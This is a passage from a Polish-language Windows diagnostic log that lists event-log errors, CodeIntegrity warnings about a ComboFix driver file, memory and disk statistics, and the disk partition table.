AM) (Source: WinMgmt) (EventID: 10) (User: ) Description: Event filter with query "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA "Win32_Processor" AND TargetInstance.LoadPercentage > 99" could not be reactivated in namespace "//./root/CIMV2" because of error 0x80041003. Events cannot be delivered through this filter until the problem is corrected. Error: (05/29/2017 10:09:10 AM) (Source: Aktualizacja Programu Płatnik) (EventID: 0) (User: ) Description: Service cannot be started. Nieprawidłowe dojście Error: (05/24/2017 10:11:52 AM) (Source: TrueKey) (EventID: 0) (User: ) Description: Failed to process session change. System.ArgumentException: Data Source cannot be empty. Use :memory: to open an in-memory database at System.Data.SQLite.SQLiteConnection.Open() at McAfee.YAP.Service.Data.McBioSQLite.GetConnection() at McAfee.YAP.Service.Data.McBioSQLite.StoreInServiceInfo(String key, String value) at McAfee.YAP.Service.Common.McBioBCAService.DisableSpoofingMode() at McAfee.YAP.Service.Service.OnSessionChange(SessionChangeDescription changeDescription) at System.ServiceProcess.ServiceBase.DeferredSessionChange(Int32 eventType, Int32 sessionId) Error: (05/24/2017 10:11:47 AM) (Source: WinMgmt) (EventID: 10) (User: ) Description: Event filter with query "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA "Win32_Processor" AND TargetInstance.LoadPercentage > 99" could not be reactivated in namespace "//./root/CIMV2" because of error 0x80041003. Events cannot be delivered through this filter until the problem is corrected. Error: (05/24/2017 10:11:16 AM) (Source: Aktualizacja Programu Płatnik) (EventID: 0) (User: ) Description: Service cannot be started. Nieprawidłowe dojście Error: (05/22/2017 07:37:14 PM) (Source: TrueKey) (EventID: 0) (User: ) Description: Failed to process session change. System.ArgumentException: Data Source cannot be empty. Use :memory: to open an in-memory database at System.Data.SQLite.SQLiteConnection.Open() at McAfee.YAP.Service.Data.McBioSQLite.GetConnection() at McAfee.YAP.Service.Data.McBioSQLite.StoreInServiceInfo(String key, String value) at McAfee.YAP.Service.Common.McBioBCAService.DisableSpoofingMode() at McAfee.YAP.Service.Service.OnSessionChange(SessionChangeDescription changeDescription) at System.ServiceProcess.ServiceBase.DeferredSessionChange(Int32 eventType, Int32 sessionId) Dziennik System: ============= Error: (05/30/2017 08:17:52 AM) (Source: Service Control Manager) (EventID: 7000) (User: ) Description: Nie można uruchomić usługi Usługa Google Update (gupdate) z powodu następującego błędu: Nie można odnaleźć określonego pliku. Error: (05/30/2017 08:15:14 AM) (Source: Service Control Manager) (EventID: 7022) (User: ) Description: Usługa Intel(R) Biometric and Context Agent Service zawiesiła się podczas uruchamiania. Error: (05/30/2017 08:14:44 AM) (Source: SCardSvr) (EventID: 610) (User: ) Description: Czytnik kart inteligentnych „SCM Microsystems Inc. SCR33x USB Smart Card Reader 0” odrzucił żądanie IOCTL GET_ATTRIBUTE: Żądanie nie jest obsługiwane.. Jeśli ten błąd będzie się powtarzać, może to oznaczać, że karta inteligentna lub czytnik nie działa poprawnie. Nagłówek polecenia: 07 a0 07 00 Error: (05/30/2017 08:14:43 AM) (Source: SCardSvr) (EventID: 610) (User: ) Description: Czytnik kart inteligentnych „SCM Microsystems Inc. SCR33x USB Smart Card Reader 0” odrzucił żądanie IOCTL GET_ATTRIBUTE: Żądanie nie jest obsługiwane.. Jeśli ten błąd będzie się powtarzać, może to oznaczać, że karta inteligentna lub czytnik nie działa poprawnie. Nagłówek polecenia: 07 a0 07 00 Error: (05/30/2017 08:14:43 AM) (Source: SCardSvr) (EventID: 610) (User: ) Description: Czytnik kart inteligentnych „SCM Microsystems Inc. SCR33x USB Smart Card Reader 0” odrzucił żądanie IOCTL GET_ATTRIBUTE: Żądanie nie jest obsługiwane.. Jeśli ten błąd będzie się powtarzać, może to oznaczać, że karta inteligentna lub czytnik nie działa poprawnie. Nagłówek polecenia: 07 a0 07 00 Error: (05/30/2017 08:14:42 AM) (Source: SCardSvr) (EventID: 610) (User: ) Description: Czytnik kart inteligentnych „SCM Microsystems Inc. SCR33x USB Smart Card Reader 0” odrzucił żądanie IOCTL GET_ATTRIBUTE: Żądanie nie jest obsługiwane.. Jeśli ten błąd będzie się powtarzać, może to oznaczać, że karta inteligentna lub czytnik nie działa poprawnie. Nagłówek polecenia: 07 a0 07 00 Error: (05/30/2017 08:14:42 AM) (Source: SCardSvr) (EventID: 610) (User: ) Description: Czytnik kart inteligentnych „SCM Microsystems Inc. SCR33x USB Smart Card Reader 0” odrzucił żądanie IOCTL GET_ATTRIBUTE: Żądanie nie jest obsługiwane.. Jeśli ten błąd będzie się powtarzać, może to oznaczać, że karta inteligentna lub czytnik nie działa poprawnie. Nagłówek polecenia: 07 a0 07 00 Error: (05/30/2017 08:14:42 AM) (Source: SCardSvr) (EventID: 610) (User: ) Description: Czytnik kart inteligentnych „SCM Microsystems Inc. SCR33x USB Smart Card Reader 0” odrzucił żądanie IOCTL GET_ATTRIBUTE: Żądanie nie jest obsługiwane.. Jeśli ten błąd będzie się powtarzać, może to oznaczać, że karta inteligentna lub czytnik nie działa poprawnie. Nagłówek polecenia: 07 a0 07 00 Error: (05/30/2017 08:14:42 AM) (Source: SCardSvr) (EventID: 610) (User: ) Description: Czytnik kart inteligentnych „SCM Microsystems Inc. SCR33x USB Smart Card Reader 0” odrzucił żądanie IOCTL GET_ATTRIBUTE: Żądanie nie jest obsługiwane.. Jeśli ten błąd będzie się powtarzać, może to oznaczać, że karta inteligentna lub czytnik nie działa poprawnie. Nagłówek polecenia: 07 a0 07 00 Error: (05/30/2017 08:14:42 AM) (Source: SCardSvr) (EventID: 610) (User: ) Description: Czytnik kart inteligentnych „SCM Microsystems Inc. SCR33x USB Smart Card Reader 0” odrzucił żądanie IOCTL GET_ATTRIBUTE: Żądanie nie jest obsługiwane.. Jeśli ten błąd będzie się powtarzać, może to oznaczać, że karta inteligentna lub czytnik nie działa poprawnie. Nagłówek polecenia: 07 a0 07 00 CodeIntegrity: =================================== Date: 2017-05-20 15:36:12.431 Description: Windows is unable to verify the image integrity of the file \Device\HarddiskVolume3\ComboFix\catchme.sys because file hash could not be found on the system. A recent hardware or software change might have installed a file that is signed incorrectly or damaged, or that might be malicious software from an unknown source. Date: 2017-05-20 15:36:12.384 Description: Windows is unable to verify the image integrity of the file \Device\HarddiskVolume3\ComboFix\catchme.sys because file hash could not be found on the system. A recent hardware or software change might have installed a file that is signed incorrectly or damaged, or that might be malicious software from an unknown source. Date: 2017-05-20 15:36:12.338 Description: Windows is unable to verify the image integrity of the file \Device\HarddiskVolume3\ComboFix\catchme.sys because file hash could not be found on the system. A recent hardware or software change might have installed a file that is signed incorrectly or damaged, or that might be malicious software from an unknown source. Date: 2017-05-20 15:36:12.291 Description: Windows is unable to verify the image integrity of the file \Device\HarddiskVolume3\ComboFix\catchme.sys because file hash could not be found on the system. A recent hardware or software change might have installed a file that is signed incorrectly or damaged, or that might be malicious software from an unknown source. Date: 2017-05-12 09:46:10.626 Description: Windows is unable to verify the image integrity of the file \Device\HarddiskVolume3\ComboFix\catchme.sys because file hash could not be found on the system. A recent hardware or software change might have installed a file that is signed incorrectly or damaged, or that might be malicious software from an unknown source. Date: 2017-05-12 09:46:10.579 Description: Windows is unable to verify the image integrity of the file \Device\HarddiskVolume3\ComboFix\catchme.sys because file hash could not be found on the system. A recent hardware or software change might have installed a file that is signed incorrectly or damaged, or that might be malicious software from an unknown source. Date: 2017-05-12 09:46:10.530 Description: Windows is unable to verify the image integrity of the file \Device\HarddiskVolume3\ComboFix\catchme.sys because file hash could not be found on the system. A recent hardware or software change might have installed a file that is signed incorrectly or damaged, or that might be malicious software from an unknown source. Date: 2017-05-12 09:46:10.483 Description: Windows is unable to verify the image integrity of the file \Device\HarddiskVolume3\ComboFix\catchme.sys because file hash could not be found on the system. A recent hardware or software change might have installed a file that is signed incorrectly or damaged, or that might be malicious software from an unknown source. Date: 2017-04-17 19:05:47.063 Description: Windows is unable to verify the image integrity of the file \Device\HarddiskVolume3\ComboFix\catchme.sys because file hash could not be found on the system. A recent hardware or software change might have installed a file that is signed incorrectly or damaged, or that might be malicious software from an unknown source. Date: 2017-04-17 19:05:47.016 Description: Windows is unable to verify the image integrity of the file \Device\HarddiskVolume3\ComboFix\catchme.sys because file hash could not be found on the system. A recent hardware or software change might have installed a file that is signed incorrectly or damaged, or that might be malicious software from an unknown source. ==================== Statystyki pamięci =========================== Procesor: Intel(R) Core(TM) i5-4590 CPU @ 3.30GHz Procent pamięci w użyciu: 51% Całkowita pamięć fizyczna: 4014.54 MB Dostępna pamięć fizyczna: 1952.68 MB Całkowita pamięć wirtualna: 8027.27 MB Dostępna pamięć wirtualna: 5254.2 MB ==================== Dyski ================================ Drive c: (OS) (Fixed) (Total:453.99 GB) (Free:332.27 GB) NTFS Drive y: (RECOVERY) (Fixed) (Total:11.73 GB) (Free:2.65 GB) NTFS ==>[system z komponentami startowymi (pozyskano odczytując dysk)] ==================== MBR & Tablica partycji ================== ======================================================== Disk: 0 (MBR Code: Windows 7 or Vista) (Size: 465.8 GB) (Disk ID: 561EAE20) Partition 1: (Not Active) - (Size=39 MB) - (Type=DE) Partition 2: (Active) - (Size=11.7 GB) - (Type=27) Partition 3: (Not Active) - (Size=454 GB) - (Type=07 NTFS) ==================== Koniec Addition.txt ============================